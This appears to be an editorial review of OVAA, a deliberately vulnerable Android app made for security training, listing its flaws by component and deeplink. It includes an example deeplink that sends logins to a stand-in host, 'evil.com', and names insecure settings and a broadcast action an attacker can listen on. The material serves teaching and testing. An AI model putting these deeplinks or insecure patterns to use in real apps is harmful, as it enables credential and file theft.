OVAA: an Android app that ships with 18 known flaws

A target app whose failures are the feature

OVAA, the Oversecured Vulnerable Android App, is a Java Android application whose entire purpose is to be broken. It aggregates eighteen known and popular Android platform vulnerabilities into one installable target, so that developers, QA engineers and security testers can exercise exploitation and detection against a known-answer app instead of against production software. The project description calls it an aggregator of the platform's known and popular vulnerabilities, and the list that follows carries no detailed descriptions or proofs of concept; deeper write-ups live on the Oversecured blog. What the repository hands you is therefore a list of vulnerabilities, each one pointing at a concrete class, component or deeplink route inside the app. For an engineer, that is the valuable shape of the project: a defect inventory bound to real source files, which you can reproduce, automate against, and point new hires at.

Eighteen entries, most of them reachable through a deeplink

The vulnerability list runs to eighteen numbered items, and each entry names the exact surface where the flaw lives. Entry points are largely deeplinks. The route `oversecured://ovaa/login?url=http://evil.com/` installs an arbitrary login URL and leaks a user name and password when the victim signs in. The route `oversecured://ovaa/grant_uri_permissions` opens the way to content providers that are not exported but carry `android:grantUriPermissions="true"`. The route `oversecured://ovaa/webview?url=...` runs through host validation described as vulnerable, and a second webview route opens arbitrary URLs. The list points at `WebSettings.setAllowFileAccessFromFileURLs(true)` in `WebViewActivity.java` as the setting that turns a loaded page into a file theft primitive. Other entries describe memory corruption through `MemoryCorruptionParcelable` and `MemoryCorruptionSerializable`, arbitrary code execution in `OversecuredApplication`, and execution of a DEX library sitting in a world-readable and world-writable directory.

The missing caller check is the recurring bug

Not every flaw is reachable from a browser link. Several live in the way the app handles intents and content provider URIs. One entry allows arbitrary activities to be reached and content providers to be acquired in `LoginActivity` by supplying an arbitrary intent object to a `redirect_intent` parameter. Another steals arbitrary files from `MainActivity` by intercepting an activity launch that carries `Intent.ACTION_PICK` and passing a URI for any file as data. A further entry grants read and write access to arbitrary files through `TheftOverwriteProvider`, where the traversal happens in the value taken from `uri.getLastPathSegment()`. The pattern is worth noticing: the flaw is rarely in the target component itself, but in the absence of any check on who is calling.

Credentials reach logs, broadcasts and a hardcoded key

Four entries deal directly with secret data. One is an insecure broadcast to `MainActivity` that carries credentials, where an attacker registers a receiver for the action `oversecured.ovaa.action.UNPROTECTED_CREDENTIALS_DATA` and collects the user's data. Another is an insecure activity launch in `MainActivity` using the action `oversecured.ovaa.action.WEBVIEW`, which leaks the user's encrypted data through the `token` query parameter. App logs are covered too: `InsecureLoggerService` exposes logs, and `LoginActivity` writes `Log.d("ovaa", "Processing " + loginData)`. Beyond the list of eighteen, the repository also flags a hardcoded AES key in `WeakCrypto`, a hardcoded credential for a development environment endpoint in the `test_url` entry of `strings.xml`, and a very wide file sharing declaration for the `oversecured.ovaa.fileprovider` content provider in its `root` entry. Every one of these is a decision a reviewer can point at in a code review.

A Gradle project with no documented install path

The repository is a Gradle project rather than a packaged binary. Its top-level entries are `app/`, `build.gradle`, `settings.gradle`, `gradle.properties`, the `gradle/` directory, `gradlew`, `gradlew.bat`, `.github/`, `LICENSE`, `README.md` and `.gitignore`. The wrapper script `gradlew` is what a macOS or Linux checkout would use, and `gradlew.bat` serves Windows checkouts. The README documents no install steps and no build command, and it says nothing about how to attach an emulator to the project, so there is no documented sequence to copy. The project publishes a single release, 1.0.0 (OVAA 1.0.0) on 2026-09-29, and the last push was on 2026-10-06, so the code itself is current even though the version number is low. Licensing is stated as the Simplified BSD License, with copyright held by Oversecured Inc since 2020, and the LICENSE file in the repository carries the exact terms that apply to any reuse of the sample code.

What the deliberately broken app cannot tell you

OVAA cannot say anything about your own application. It is a target, not a scanner: the list of eighteen flaws describes what the sample does wrongly, so nothing in it enumerates vulnerabilities in a codebase you did not write. The repository documents no scanning command, no configuration file and no continuous integration wiring, so there is no stated way to point an automated pipeline at it either. There is a second limit in the format of the list itself, since each entry is intentionally terse and links out to the blog for the detailed examination and analysis. Reading the list shows you the shape of a bug and the file it lives in, but it does not hand you a payload.

Where scanning your own build fits instead

OVAA and static analysis of your own build address the same problem from opposite directions. OVAA hands you a running, deliberately broken app: the flaw is known to be present, so a test can assert on the outcome, and the interesting part is the runtime path, the intent, the deeplink and the component. A static analyzer instead reads your own APK and flags suspicious API usage with nothing running, which is the only practical option for a codebase you cannot deploy. The trade-off is direct. Runtime exercise through OVAA gives ground truth for a known list but says nothing about code you own, while static analysis covers your code but only approximates the same classes and cannot tell you whether an exported provider really exposes a path in your build. Using both means treating OVAA as a teaching and regression fixture and a scanner as the check on your own repository.

Editorial conclusion

Adopt OVAA as a lab fixture for appsec training and automated exercises, not as a judge of your own code. It cannot report defects in a product you wrote. Before relying on it, confirm the Gradle project builds against your emulator image, that the listed deeplink entry points still resolve on your device version, and that the hardcoded credentials in strings.xml point at nothing inside your own network.

Frequently asked questions

Official sources

1. License: BSD-2-Clause
2. oversecured/ovaa on GitHub
3. Project website
4. README
5. Releases